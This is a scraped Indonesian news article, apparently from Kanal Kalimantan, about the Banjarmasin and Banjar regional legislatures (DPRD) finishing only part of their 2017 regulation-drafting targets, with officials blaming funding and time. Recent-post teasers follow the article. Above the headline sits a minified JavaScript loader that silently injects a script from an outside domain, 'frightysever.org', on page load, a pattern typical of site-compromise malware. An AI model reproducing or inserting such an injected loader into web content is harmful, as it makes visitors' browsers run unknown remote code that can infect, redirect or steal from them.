(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Problem Klasik Dewan di Balik Tak Tuntasnya Pembahasan Sejumlah Raperda


BANJARMASIN, Sudah menjadi jamak, jika dari banyak Rancangan Peraturan Daerah (Ranperda) tak bisa rampung dituntaskan pembahasannya oleh anggota DPRD. Hal ini bahkan hampir terjadi di semua daerah, tak hanya di Banjarmasin saja.

Nah, ternyata di balik problem klasik ini juga ternyata ada kendala klasik yang disampaikan legislatif. Apa itu? Tak lain diantaranya adalah pendanaan dan waktu.

Di DPRD Banjarmasin misalnya, mereka hanya mampu menyelesaikan 17 Rancangan Peraturan Daerah menjadi Peraturan Daerah (Perda) pada masa kerja 2017 dari 35 program legislasi daerah yang ditargetkan. Sedangkan di DPRD Kabupaten Banjar, pada triwulan 2017 ini, dari sebanyak 23 Raperda yang diplot, hanya 10 yang bisa direalisasi.

Faktanya juga, dari 10 Perda yang sudah diketok DPRD Banjar hanya 1 Perda yang merupakan insiatif dewan. Yakni perda tentang Pendidikan Anak Usia Dini (PAUD). Padahal dari 23 Raperda yang mestinya rampung, 11 di antaranya adalah insiatif dewan.

Namun demikian, dewan selalu berdalih bahwa telah melakukan kerja dengan maksimal. Hal ini seperti disampaikan Ketua Badan Pembentukan Peraturan Daerah DPRD Kota Banjarmasin, Noval  kepada Antara beberapa waktu lalu.

“Kita bekerja sudah dengan segala daya dan upaya serta semaksimal mungkin menyelesaikan target Prolegda, tapi adanya kendala hingga hanya mampu diselesaikan sebanyak 17 Perda dari target sebanyak 35 Perda,” jelasnya.

Noval mengungkapkan, kendala yang membuat tidak tercapainya target Prolegda tahun ini sebanyak 35 Raperda diantarnya karena masalah pendanaan baik di DPRD dan pihak pemerintah kota dan juga masalah waktu yang tidak memungkinkan dikebut pembuatannya.

“Jadi karena faktor-faktor itu hingga sekitar 18 Raperda tidak bisa dilakukan pembahasan, bahkan ada dua Raperda terpaksa dibatalkan karena bertentangan dengan peraturan di atasnya,” ungkap tegas Noval.

Menurut dia, dari 16 Raperda yang belum sampai dilaksanakan pembahasannya tahun ini ada tujuh dari inisiatif dewan dan sembilan dari inisiatif pemerintah kota. Semua Raperda yang belum sempat dilakukan pembahasan untuk dijadikan Perda ini, lanjutnya, akan dimasukan pada prolegda tahun 2018.


Page: 1 2

Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

7 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

9 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

10 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

11 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.